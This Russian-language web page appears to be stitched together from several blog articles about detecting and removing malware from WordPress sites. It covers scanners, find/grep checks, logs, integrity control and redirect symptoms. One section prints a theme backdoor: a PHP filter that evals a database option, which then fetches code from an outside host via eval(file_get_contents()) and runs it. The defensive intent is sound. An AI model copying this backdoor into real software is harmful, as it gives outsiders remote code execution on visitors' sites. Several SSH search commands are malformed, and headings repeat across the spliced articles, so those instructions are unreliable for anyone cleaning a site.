Тарифы Услуги Сим-карты

Что такое вредоносный код. Как удалить вирус или вредоносный код из WordPress

Мы выпустили новую книгу «Контент-маркетинг в социальных сетях: Как засесть в голову подписчиков и влюбить их в свой бренд».

Подписаться

Вредоносный код - это код, который мешает нормальной работе сайта. Он может встраиваться в темы, базы данных, файлы и плагины.


Больше видео на нашем канале - изучайте интернет-маркетинг с SEMANTICA

Результатом работы вредоносного кода может стать удаление части полезного контента, или его публикация на стороннем ресурсе. Таким способом злоумышленники могут организовать кражу контента. Особенно обидно, если этому воздействию подвергся молодой ресурс с авторскими статьями. Может сложиться впечатление что это он своровал контент у более старшего ресурса.

Также вредоносный код может разместить в бесплатной теме скрытые ссылки на сторонние страницы, доступные для поисковиков. Не всегда эти ссылки будут вредоносны, но вес основного сайта гарантированно пострадает.

Общее назначение всех вредоносных кодов сводится к нарушению работы веб-страниц.

Внешне вредоносный код представляет собой хаотичный набор символов. В действительности за этой бессмыслицей скрывается зашифрованный код, содержащий последовательность команд.

Как вредоносный код попадает на сайт

Есть два способа, как на сайт может попасть вредоносный код.

1. Скачивание файлов и плагинов с сомнительных и ненадежных ресурсов. Чаще всего таким способам на сайт проникают зашифрованные ссылки. Явный код редко проникает на сайт этим путем.

2. с последующим проникновением . Этот способ считается более опасным, ведь взлом веб-страницы дает возможность передать не только "одноразовый" код, но и целые конструкции с элементами вредоносной программы (malware).

Такой код очень тяжело уничтожить, т.к. он может восстанавливаться после удаления.

Проверка сайта на вредоносный код

Следует помнить, что эти коварные конструкции могут появиться не только в активной теме, но и в любом файле ресурса. Существует несколько способов их поиска:

  • Вручную. Для этого нужно сравнить содержимое всех актуальных файлов с незараженными версиями бэкапа. Все что отличается необходимо удалить.
  • С помощью плагинов безопасности. В частности WordPress предлагает плагин Wordfence Security. У него есть опция сканирования файлов страницы на содержание постороннего кода.
  • С помощью саппорта хостинга. Владелец сайта имеет право обратиться к ним с просьбой просканировать ресурс своим антивирусом. В результате они предоставят отчет, отражающий наличие зараженных файлов. Эти файлы можно очистить от посторонних конструкций с помощью обычного текстового редактора.
  • Через SSH-доступ к сайту. Сам поиск осуществляется с помощью команд:

find /текущий каталог страницы -type f -iname "*" -exek -"eval" {} \; > ./eval.log

find /текущий каталог страницы -type f -iname "*" -exek-"base64" {} \; > ./base64.log

find /текущий каталог страницы -type f -iname "*" -exek -"file_get_contents" {} \; > ./file_get_contents.log

В результате их выполнения будет получена информация о подозрительных файлах. Перечень этих файлов запишется в лог, хранящийся в текущей директории.

  • Проверка сайта на вредоносный код с помощью функции eval. Эта php-функция запускает на выполнение любой, даже зашифрованный код. В качестве одного из аргументов, на вход этой функции подается тип кодировки (как правило это base64_decode или str_rot13). Именно благодаря использованию популярных кодировок вредоносный код выглядит как бессмысленный набор латинских символов.

Открываете редактор страницы.

Копируете в буфер содержимое файла functions.php.

Вставляете его в любой текстовый редактор (блокнот).

Находите команду eval.

  • Перед тем, как удалить вредоносный код, проанализируйте, какие параметры функция ожидает на вход. Т.к. параметры поступают в зашифрованном виде, их нужно расшифровать с помощью декодеков. Распознав входной параметр, вы можете принять решение о его дальнейшем нахождении в тексте файла functions.php.
Удаление вредоносного кода

После обнаружения вредоносного кода его просто необходимо удалить как обычную строку в текстовом файле.

Защита от вредоносного кода

Для того, чтобы предупредить появление вредоносного кода на сайте, необходимо соблюдать ряд профилактических мер.

Используйте только проверенное ПО:
  • Загружайте дистрибутивы только из надежных источников.
  • Во время запускайте обновление серверного ПО.
  • Совершайте регулярный аудит системы безопасности сервера.
  • Удаляйте устаревшие отладочные скрипты.
Ставьте на серверное ПО надежные пароли:
  • Придумайте конструкцию из 12 символов, включающую цифры и буквы разных регистров.
  • Для каждого из сервисов придумайте свой уникальный пароль.
  • Меняйте свои пароли раз в 3 месяца.
Осуществляйте контроль данных, вводимых пользователями:
  • Настройте фильтры HTML-разметки в полях ввода, содержимое которых попадет в код страницы.
  • Организуйте серверную проверку входных данных на соответствие допустимому интервалу.
  • Используйте WAF. Web Application Firewall - это мощный инструмент защиты сайта от хакерских атак.
Разграничивайте права доступа к своему ресурсу.

Заблокируйте или ограничьте доступ к инструментам администрирования движка вашего сайта и его баз данных. Кроме того, закройте доступ к файлам настроек и резервным копиям рабочего кода.

Такому проникновению вредоносного кода наиболее подвержены те сайты, на которых реализована возможность загрузки пользовательских файлов.

1. Организуйте защиту от ботов. Для этих целей многие CMS оснащены специальными плагинами;

2. Настройте проверку вводимых пользователями данных:

  • Запретите вставку JavaScript-кода внутри конструкции t>.
  • Ведите перечень безопасных HTML-тегов и отсеивайте конструкции, не вошедшие в этот список.
  • Анализируйте ссылки, которые присылают пользователи.
  • Для этого существуют специальные сервисы, например Safe Browsing API. Он позволяет проверить безопасность документа по URL.

Как предупредить случайное размещение вредоносного кода.

  • Тщательно следите за используемым ПО:

Загружайте библиотеки и расширения CMS только с проверенных источников, а лучше всего с официальных сайтов.

Изучайте код нестандартных расширений, которые вы собираетесь поставить на движок своего сайта.

  • Размещайте рекламу очень осторожно:

Публикуйте на своей площадке объявления, которые предлагают только надежные рекламодатели.

Старайтесь размещать на своей странице статический контент.

Остерегайтесь партнерских программ со скрытыми блоками.


Правда жизни такова, что сайт рано или поздно могут взломать. После успешной эксплуатации уязвимости хакер старается закрепиться на сайте, размещая в системных директориях хакерские веб-шеллы, загрузчики и внедряя бэкдоры в код скриптов и базу данных CMS.

Для обнаружения вредоносного кода в файлах и базе существуют специализированные решения – антивирусы и сканеры для хостингов. Их не так много, из популярных – это AI-BOLIT , MalDet (Linux Malware Detector) и ClamAv .

Сканеры помогают обнаруживать загруженные веб-шеллы, бэкдоры, фишинговые страницы, спам-рассыльщики и другие типы вредоносных скриптов – все то, что им известно и заранее добавлено в базу сигнатур вредоносного кода. Некоторые сканеры, например, AI-BOLIT, обладают набором эвристических правил, которые позволяют обнаруживать файлы с подозрительным кодом, который часто используется во вредоносных скриптах, или файлы с подозрительными атрибутами, которые могут быть загружены хакерами. Но, к сожалению, даже в случае использования нескольких сканеров на хостинге, возможны ситуации, когда некоторые хакерские скрипты остаются не обнаруженными, что фактически означает, что у злоумышленника остается “черный ход” и он может взломать сайт и получить над ним полный контроль в любой момент.

Современные вредоносные и хакерские скрипты значительно отличаются от тех, что были 4-5 лет назад. Сейчас разработчики вредоносного кода комбинируют обфускацию, шифрование, декомпозицию, внешнюю подгрузку вредоносного кода и используют другие уловки для того, чтобы обманывать антивирусное ПО. Поэтому вероятность пропуска новых “вредоносов” значительно выше, чем раньше.

Что же можно сделать в данном случае для более эффективного обнаружения вирусов на сайте и хакерских скриптов на хостинге? Необходимо использовать комплексный подход: первоначальное автоматизированное сканирование и дальнейший ручной анализ. В этой статье речь пойдет о вариантах обнаружения вредоносного кода без сканеров.

Вначале рассмотрим, что именно следует искать при взломе.

  • Хакерские скрипты.
    Чаще всего при взломе загружают файлы, представляющие собой веб-шеллы, бэкдоры, “загрузчики” (uploaders), скрипты для спам-рассылок, фишинговые страницы + обработчики форм, дорвеи и файлы-маркеры взлома (картинки с лого хакерской группы, текстовые файлы с “посланием” от хакеров и т.п.)
  • Инжекты (внедрения кода) в существующих файлах .
    Второй по популярности тип размещения вредоносного и хакерского кода – это инжекты. В существующие файлы сайта.htaccess могут внедрять мобильные и поисковые редиректы, в php/perl скрипты инжектировать бэкдоры, в.js и.html шаблоны встраивать вирусные javascript фрагменты или редиректы на сторонние ресурсы. Возможны инжекты и в медиа-файлах, например.jpg или. Часто вредоносный код состоит из нескольких компонентов: сам вредоносный код хранится в exif-заголовке jpg файла, а исполняется с помощью небольшого управляющего скрипта, код которого не выглядит подозрительным для сканера.
  • Инжекты в базе данных .
    База данных является третьей мишенью для хакера. Здесь возможны статические вставки , , , , которые перенаправляют посетителей на сторонние ресурсы, “шпионят” за ними или заражают компьютер/мобильное устройство посетителя в результате drive-by атаки.
    Кроме того во многих современных CMS (IPB, vBulletin, modx и др.) шаблонизаторы позволяют исполнять php код, а сами шаблоны хранятся в базе данных, поэтому php код веб-шеллов и бэкдоров может быть встроен непосредственно в БД.
  • Инжекты в кэширующих сервисах.
    В результате некорректной или небезопасной настройки кэширующих сервисов, например, memcached, возможны инжекты в закэшированные данные “на лету”. В некоторых случаях хакер может внедрять вредоносный код на страницы сайта без непосредственного взлома последнего.
  • Инжекты / инцицированные элементы в системных компонентах сервера.
    Если хакер получил привелегированный (root) доступ к серверу, он может подменить элементы веб-сервера или кэширующего сервера на инфицированные. Такой веб-сервер будет с одной стороны обеспечивать контроль над сервером с помощью управляющих команд, с другой – время от времени внедрять динамические редиректы и вредоносный код на страницы сайта. Как и в случае инжекта в кэширующий сервис, администратора сайта скорее всего не сможет обнаружить факт взлома сайта, так как все файлы и база данных будут оригинальными. Этот вариант наиболее сложный для лечения.
  • Итак, предположим, что сканерами вы уже проверили файлы на хостинге и дамп базы данных, но они ничего не обнаружили, а вирусный по-прежнему на странице или мобильный редирект продолжает отрабатывать при открытии страниц. Как искать дальше?

    Поиск вручную

    В unix сложно найти более ценную пару команд для поиска файлов и фрагментов, чем find / grep.

    find . -name ‘*.ph*’ -mtime -7

    найдет все файлы, которые были изменены за последнюю неделю. Иногда хакеры “скручивают” дату изменения у скриптов, чтобы таким образом не обнаружить новые скрипты. Тогда можно поискать файлы php/phtml, у которых менялись атрибуты

    find . -name ‘*.ph*’ -сtime -7

    Если нужно найти изменения в каком-то временном интервале, можно воспользоваться тем же find

    find . -name ‘*.ph*’ -newermt 2015-01-25 ! -newermt 2015-01-30 -ls

    Для поиска в файлах незаменим grep. Он может искать рекурсивно по файлам указанный фрагмент

    grep -ril ‘stummann.net/steffen/google-analytics/jquery-1.6.5.min.js’ *

    При взломе сервера полезно проанализировать файлы, у которых установлен guid/suid флаг

    find / -perm -4000 -o -perm -2000

    Чтобы определить, какие скрипты запущены в данный момент и грузят CPU хостинга, можно вызвать

    lsof +r 1 -p `ps axww | grep httpd | grep -v grep | awk ‘ { if(!str) { str=$1 } else { str=str»,»$1}}END{print str}’` | grep vhosts | grep php

    Используем мозг и руки для анализа файлов на хостинге
  • Идем в директории upload, cache, tmp, backup, log, images , в которые что-то пишется скриптами или загружается пользователями, и просматриваем содержимое на наличие новых файлов с подозрительными расширениями. Например, для joomla можно проверить.php файлы в каталоге images:find ./images -name ‘*.ph*’Скорее всего, если что-то найдется, то это будет вредонос.
    Для WordPress имеет смысл проверить на скрипты директорию wp-content/uploads, backup и cache каталоги тем.
  • Ищем файлы со странными именами
    Например, php, fyi.php, n2fd2.php. Файлы можно искать
    • по нестандартным сочетаниям символов,
    • наличию цифр 3,4,5,6,7,8,9 в имени файлов
  • Ищем файлы с нехарактерными расширениями
    Допустим, у вас сайт на WordPress или Для них файлы с расширениями.py, .pl, .cgi, .so, .c, .phtml, .php3 будут не совсем обычными. Если какие-то скрипты и файлы с данными расширениями будут обнаружены, скорее всего это будут хакерские инструменты. Возможен процент ложных обнаружений, но он не велик.
  • Ищем файлы с нестандартными атрибутами или датой создания
    Подозрения могут вызывать файлы с атрибутами, отличающимися от существующих на сервере. Например, все.php скрипты были загружены по ftp/sftp и имеют пользователя user, а некоторые созданы пользователем www-data. Имеет смысл проверить последние. Или если дата создания файла скрипта раньше даты создания сайта.
    Для ускорения поиска файлов с подозрительными атрибутами удобно пользоваться unix командой find.
  • Ищем дорвеи по большому числу файлов .html или.php
    Если в каталоге несколько тысяч файлов.php или.html, скорее всего это дорвей.
  • Логи в помощь

    Логи веб-сервера, почтового сервиса и FTP можно использовать для обнаружения вредоносных и хакерских скриптов.

    • Корреляция даты и времени отправки письма (которые можно узнать из лога почтового сервера или служебного заголовка спам-письма) с запросами из access_log помогают выявить способ рассылки спама или найти скрипт спам-рассыльщика.
    • Анализ трансфер-лога FTP xferlog позволяет понять, какие файлы были загружены в момент взлома, какие изменены и кем.
    • По логам проактивной защиты современных CMS и плагинов можно определять, какие атаки были выполнены на сайт и сумела ли CMS им противостоять.
    • По access_log и error_log можно анализировать действия хакера, если известны имена скриптов, которые он вызывал, IP адрес или User Agent. В крайнем случае можно просмотреть POST запросы в день взлома и заражения сайта. Часто анализ позволяет найти другие хакерские скрипты, которые были загружены или уже находились на сервере в момент взлома.
    Контроль целостности

    Намного проще анализировать взлом и искать вредоносные скрипты на сайте, если заранее позаботить о его безопасности. Процедура контроля целостности (integrity check) помогает своевременно обнаруживать изменения на хостинге и определять факт взлом. Один из самых простых и эффективных способов – положить сайт под систему контроля версий (git, svn, cvs). Если грамотно настроить.gitignore, то процесс контроля за изменениями выглядит как вызов команды git status, а поиск вредоносных скриптов и измененных файлов – git diff.

    Также у вас всегда будет резервная копия файлов, до которой можно «откатить» сайт в считанные секунды. Администраторам сервера и продвинутым веб-мастерам можно использовать inotify, tripwire, auditd и другие механизмы для отслеживания обращений к файлам и директориям, и контроля за изменениями в файловой системе.

    К сожалению, не всегда есть возможность настроить систему контроля версий или сторонние сервисы на сервере. В случае shared-хостинга не получится установить систему контроля версий и системные сервисы. Но это не беда, есть достаточно много готовых решений для CMS. На сайте можно установить плагин или отдельный скрипт, который будет отслеживать изменения в файлах. В некоторых CMS уже реализован эффективный мониторинг изменений и механизм integrity check (Например, в Битрикс, DLE). В крайнем случае, если на хостинге есть ssh, можно сформировать эталонный слепок файловой системы командой

    ls -lahR > original_file.txt

    и при возникновении проблем создать новый слепок в другой файл, а затем сравнить их в программах WinDiff, AraxisMerge Tool или BeyondCompare.

    Эпилог

    В большинстве случаев разработчики антивирусного ПО и сканеры не поспевают за разработчиками вредоносного кода, поэтому при диагностике и лечении сайтов нельзя полагаться только на автоматизированные программные решения и скрипты. Используя эвристический подход, богатый инструментарий операционной системы и возможности CMS можно находить вредоносный код, который не смогли обнаружить антивирусы и сканеры. Использование ручного анализа делает процесс лечения сайтов более качественным и эффективным.

    Периодическая проверка сайта на наличие вредоносных вирусов необходима, это первая заповедь любого уважающего себя веб-мастера. Даже если вы пользуетесь чистой темой Twenty Eleven, то не факт, что со временем она тоже не заразилась. Такое явление может происходить (и чаще всего происходит) из-за того, что сам движок WordPress предназначен изначально для публикаций он-лайн. Так что лишний раз провериться и сделать копию сайта и базы данных никогда не помешает.

    Например, я (по прошествии какого-то времени, конечно) сделал для себя один вывод – нужен просто хороший хостер, и ваши проблемы с резервированием отпадут сами собой. Мне не нужно сейчас делать бекапы БД или сайта – все делает за меня хостер, причем в автоматическом режиме. В любое время при желании можно заказать копию любого раздела своего блога (и не только), скачать эту копию, или же восстановить блог прямо из панели управления. То есть, мне не нужно скачивать бекап, все происходит на автомате – резервирование, восстановление и т.д. Это удобно тем, что я могу не то что посуточно, а по часам отследить, когда на моем блоге появился вирус и, соответственно, принять меры по его устранению.

    Начну с хорошей новости – по крайней мере, два плагина, которыми я пользовался, выдают хорошие результаты по обнаружению и локализации вредоносного кода. Это плагины AntiVirus и Exploit Scanner . Вы не поверите, сколько на вашем блоге вредного кода! Но не принимайте всю результирующую информацию после проверки за догму – много строк, которые эти плагины обнаруживают, на самом деле ничего плохого в себе не несут. Просто плагин ставит под сомнение какие-то строки, вот и все. Чтобы убедиться в этом, проверьте вручную те фрагменты, которые плагин определил, как вредоносные. Так, при проверке плагином AntiVirus оказалось, что даже простое обращение function get_cache_file () плагин уже считает подозрительным. Так что все результаты проверок придется отслеживать вручную. А вот это, например, действительно зараженная ссылка, и ее необходимо убирать:

    Как узнать, вирус это или так и должно быть? Все очень просто – сравниваете ваш чистый шаблон (если есть), и сравниваете его (пофайлово) с тем, который установлен и уже претерпел какие-то изменения. Необязательно прямо так буквально проводить сравнение, просто поиском проверьте, есть ли в вашем чистом шаблоне та строка, которую выделил плагин. Если есть – жмите кнопку «Это не вирус», и при следующей проверке эта строка не будет учитываться.

    А вот пример второго опробованного плагина — Exploit Scanner

    Как видите, здесь все гораздо запущеннее. Для меня такой результат был шокирующим. Но и это еще не все. В плагине существует такая функция, как проверка . Так вот, если ее включить, то получится, что блог должен состоять из текста и максимум, из пары CSS таблиц. Так что, мне кажется, с безопасностью здесь автор плагина явно перестарался. Хорошо еще, что плагин просто показывает предполагаемые зараженные фрагменты, а не чистит их.

    Проанализировав все выделенные желтым цветом строки, вы легко обнаружите malware (вредоносный код), ну, а что с ним делать дальше – решайте сами. Способ чистки все тот же – сравниваете выделенный код с бекапом сайта (см. ) и, если нашли расхождения – выявляйте, то ли это сделали вы сами, то ли кто-то за вас, а значит, это уже не есть хорошо и может оказаться вирусом. Даже разработчики WordPress советуют проводить проверку сайта на наличие вредоносного кода именно этим плагином. Но существуют такие безобидные вставки, например, в тело iframe, которые плагин тоже может определить, как зараженный код. Но на самом деле без этих строк этот участок вашего блога не будет работать правильно.

    Как вообще malware может попасть в файлы блога и что это такое по определению? Слово malware значит буквально — злонамеренное программное обеспечение , от английского malicious software. Это любой софт, который может быть использован для несанкционированного доступа к сайту и его содержимому. Вы, наверное, представляете себе, что для подготовленного по-среднему хакера взломать сайт не составит труда, особенно после регистрации. После этого можно контент блога модифицировать как угодно – было бы образование.

    Вредоносный malware можно вставить и в плагины, которые вы устанавливаете из неизвестного источника, и в скрипты, которые вы также иногда берете, не проверив, а доверившись автору. Самый безобидный malware – это ссылка на автора какого-либо модуля, который вы установили на сайт. И если автор сам не предупредил вас о том, что такая ссылка существует, то это уже чистой воды вирус.

    Так, я устанавливал на тестовом блоге новую тему, и после удаления одной безобидной ссылочки на какой-то там мужской клуб в подвале сайта, он перестал вообще открываться, а на главной появилась надпись – «Вы не имеете права удалять ссылки». Вот тебе и бесплатная тема. О том, как выдирать такие левые ссылки, можете почитать .

    Ваша БД тоже может быть использована для запуска вирусосодержащего кода. Спамерские ссылки тоже очень часто добавляются в записи или комментарии. Такие ссылки обычно скрываются при помощи CSS так, что неопытный администратор их не видит, но поисковая система их различает сразу. Конечно, здесь уже вступает в борьбу любой антиспам, например, тот же , который лицензирован, проверен и перепроверен много раз. Хакер может загружать файлы с расширениями файлов изображений, и добавлять их в код ваших активированных плагинов. Поэтому, даже если файл и не имеет расширение php, код в этом файле может быть запущен в действие.

    Есть еще один простенький инструмент, с которого я начинал знакомство с malware – плагин Theme Authenticity Checker (TAC). Это легкий и достаточно действенный инструмент, но он проверяет только ваши темы, причем даже неактивные. Остальные директории он не трогает, и в этом его минус. Вот что дала мне проверка моей текущей темы этим плагином:

    Два предупреждения в активной теме, и больше ничего. Вредоносного кода нет. Кстати, это те ссылки, которые я вставил сам по совету Google — для улучшения качества сниппета (вывод личных данных, адрес организации и т.д.). Но это только проверка файлов темы, а что делается в других директориях, вам придется узнавать или при помощи других плагинов, или он-лайн сервисами. Например, такой сервис (уж он-то заслуживает доверия), как Вебмастер Яндекса или аналогичный в Google. Они имеют функцию проверки любого веб-ресурса на наличие вредоносных вкраплений, и делают это качественно. Но если вам и этого мало, то сравнивайте результаты с результатами на других сервисах и делайте выводы.

    Почему-то хочется верить Яндексу, а не плагинам. Еще один неплохой ресурс — http://2ip.ru/site-virus-scaner/. После проверки одного своего блога здесь вот что обнаружилось:

    Здесь же вы можете проверить и отдельные файлы на наличие вредоносного кода, если у вас закрались такие сомнения. В общем, сервис неплохой.

    Из всего сказанного я бы сделал такие выводы:

    1. Чтобы не допустить появления вредоносного кода, нужно прежде всего пользоваться проверенными сервисами для закачки файлов – плагинов, тем и т.д.

    2. Регулярно делать резервные копии всего, что содержит сайт – базы данных, контента, админпанели, закачанных сторонних файлов в том числе.

    3. Пользоваться обновлениями, которые предлагает WordPress. Они, по крайней мере, не содержат вирусов, хотя и не всегда функционально оправданы. Но обновившись, вы тем самым удаляете возможно присутствующие вирусы.

    4. Неиспользуемые темы, плагины, изображения и файлы удаляйте без сожаления – это еще один запасной вход для malware, о котором вы можете и не догадаться никогда.

    5. Хорошенько запарольте свои FTP–доступы, вход в PhpAdmin, в панель администратора и вообще туда, куда никто, кроме вас, не должен иметь доступа.

    6. Постарайтесь (даже если это желание у вас огромное, как небо) не изменять и не заменять файлы ядра WordPress – разработчики лучше знают, что и как должно работать.

    7. После обнаружения и удаления вирусов поменяйте все пароли. Я думаю, у вас появится огромное желание сделать пароль из 148 символов в разных регистрах и со спецсимволами. Но не увлекайтесь слишком сложными паролями, можете потерять его, и тогда придется все восстанавливать, что не очень приятно.

    Все эти методы и компоненты, которые я описал, и которые помогут вам избавиться от вирусов, конечно, бесплатные, конечно, почти самодельные, и конечно, не дают 100% гарантии того, что ваш сайт будет очищен от вредоносных вставок. Поэтому, если уж вы озаботились чисткой блога, то лучше обратитесь к профессионалам, например, в сервис Sucuri (http://sucuri.net/). Здесь ваш сайт хорошенько отмониторят, дадут практические рекомендации, которые вам вышлют письмом, а если вы не хотите заниматься чистой сайта самостоятельно, то к вашим услугам специалисты, которые в течение 4 часов сделают все в лучшем виде:

    Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

    Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

    Вот и я так думал. Не хотел бы вас расстраивать, но…

    Скрытый опасный код в бесплатных шаблонах WordPress

    Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

    Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

    Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

    И вот что они мне ответили

    Пошел гуглить инфу о данном коде и серьезно задумался…

    Как найти фрагмент вредоносного кода в шаблоне

    Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

    add_filter(‘the_content’, ‘_bloginfo’, 10001);
    function _bloginfo($content){
    global $post;
    if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
    return $co;
    } else return $content;
    }

    Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

    Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

    Какая красота! Мы видим следующую опцию


    return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

    Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

    По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

    Мораль про бесплатный сыр

    Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

    Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

    Я буду больше обращать внимание на WordPress, но многие советы будут полезны и людям, работающим на других движках.

    Часто ко мне обращаются люди с вопросом чистки сайта на WordPress и как определить что сайт был взломан. Я расскажу вам какие бывают вирусы и насколько сложно с ними бороться.

    Симптом первый. Сообщение google «Возможно, этот сайт был взломан»

    Очень частая история, когда приходит клиент на фирму, или обращается напрямую через блог и говорит, что найдя свой сайт в выдаче google, он натыкается на сообщение «Возможно, этот сайт был взломан».

    Это сообщение появляется, если google подозревает, а точнее почти уверен, что ваш сайт был взломан. Что делать и куда бежать в таком случаи? Действий не так много их всего 5:

  • Почистить сайт от шелов и разных вирусов , об этом чуть позднее;
  • обновить WordPress и все плагины со старых версий до самых последних ( );
  • настроить защиту сайта , тоже позднее расскажу немного об этом;
  • проверить насколько хороший хостинг и перенести на более надежный, я советую как и раньше;
  • проверить, не лежат ли вирусы в базе данных ;
  • Не забывайте делать бекап перед каждым действием, а также после всех 5 этапов, тоже сделайте бекап, в том случаи, если вам не удалось с первого раза почистить и надо искать более изощренные методы сканирования сайта.

    Если вы все почистили, а ошибка «Возможно, этот сайт был взломан» осталась

    Я бы советовал зайти в Webmaster Google и запросить повторную проверку сайта. Скорость проверки Webmaster Google будет зависеть от степени заражения.

    Бывают 2 степени сложности заражения:

  • Если вам залили вредоносный код через который получают доступ к сайту, публикуют ссылки … Вообщем ломают только вас и вредят только вам.
  • Если ваш сайт взломали и пытаются разослать спам или ломать других.
  • В первом случаи сотрудники Google даже не проверяют сайт, так как это может сделать система на автомате (у меня было от 10 минут до нескольких часов).

    Во втором случаи для того чтобы убедится что с вашего сайта нет угроз которые могут нанести вред другим сайтам Google отправляет специального человека который выверяет сайт. Во втором случаи проверка может длиться 1-2 недели.

    Советую не затягивать с чисткой сайта, так как чем дольше будите оттягивать, тем хуже буду ваши позиции в поисковых системах.

    Симптом второй. Вирус редиректит на другой сайт

    Такие вирусы встречаются сплошь и рядом. Искать такие вирусы необходимо в файле htaccess в корне сайта, если там нет, то можно поискать файл htaccess и в других папках сайта. Еще можно перебрать функции редиректов которые могут использоваться на разных языках программирования. Я бы советовал сканировать сайт на наличие бекдоров, ведь вам же этот код как-то внедрили. Начинайте сканировать WordPress на вирусы , чистить, и менять пароли.

    Скрытый редирект с Google или Yandex

    Более сложный вирус с редиректом. Часто редирект ставиться под определенную поисковую систему, так он менее заметен для администратора, а вот пользователи, которые заходят с поисковых запросов попадают на сайт какой-то ерунды, которую им пытаются продать.

    Мне попадался вирус на сайте WordPress который пытался по тематике определить примерно что надо пользователю и под запрос подставлял партнерку одного большого ресурса, на котором есть куча товаров самых разных видов.

    Редирект с мобильного устройства IPhone или Android это еще круче спрятанный редирект, который перенаправляет только мобильный трафик. К щастью поисковые системы в своих вебмастерах хорошо видят это, но в любом случаи иногда полезно зайти на сайт с любого мобильного устройства и посмотреть как он работает.

    Редирект со всех ссылок это еще один до простого деревянный, но очень вредный симптом. В перву очередь вредный для продвижения сайта. Такое случалось раньше на заре интернета, когда хакеры ломали много и дальше часто не знали толком что делать со взломанными сайтами. Первое что приходило на ум, просто перенаправить весь трафик на какую-то партнерку или попытаться втюхать товар, вдруг кто-то что-то купит. Проблема у них была в том, что трафик был не целевой и продажи получались крайне редко, в этом я как SEO специалист могу вас заверить.

    Подмена контекстной рекламы Google и Yandex

    Такой вирус увидеть вообще сложно было, клиент случайно нажал на свою рекламу и попал на какой-то левый сайт. Очень удивился и попросил меня удалить все угрозы.

    Вирус по симптомам показался сложным, но разобравшись поподробнее, я увидел, что код там был простой. Хакер оказался гениальным программистом. Удалив вирус пришлось еще находить кучу зашифрованного кода который был раскидан по всем файлам сайта. Сложно, но уже все поправлено.

    Симптом третий. Хостинг пожаловался что с сайта постоянно рассылается СПАМ

    Ох уж этот спам, трепет он нервы людям, а вот отдачи для хакеров от такого вида рекламы особо можно не ждать, так как аудитория чаще всего не целевая.

    Какие же проблемы возникают при постоянном заражении сайта и рассылке спама?

    • У хостингов это головная боль с нагрузкой на серверах,
    • сайтам проседание в выдаче поисковых систем.

    Все плохо, но лечить можно. Простые методы, такие как обновить все плагины и WordPress тут не помогут, все сложнее. Нечего прикладывать подорожник к экрану и ждать когда заживет! :-). Используйте все советы по выявлению и обезвреживанию вирусов, описанные в первом симптоме. Кстати наверное большая часть хостингов не обеспечивают должной защиты, заражение может быть через их сервисы, а при заражении ругаться такие хостинги будут на владельцев (себя же не обвинишь!). Про хостинги поговорим чуть позднее.

    Кстати при массовой рассылке спама у вас может просто на сайте высвечиваться ошибка 503, так как сервер ложится. Советую просмотреть, что пишет сервер в логах и какой файл обрабатывается. Кстати спам, который приходит постоянно на ваш сайт может тоже быть первым звоночком, что сайт у вас слабо защищен или защита давно не обновлялась.

    Симптом третий. Вирус вставляет код в каждый пост блога

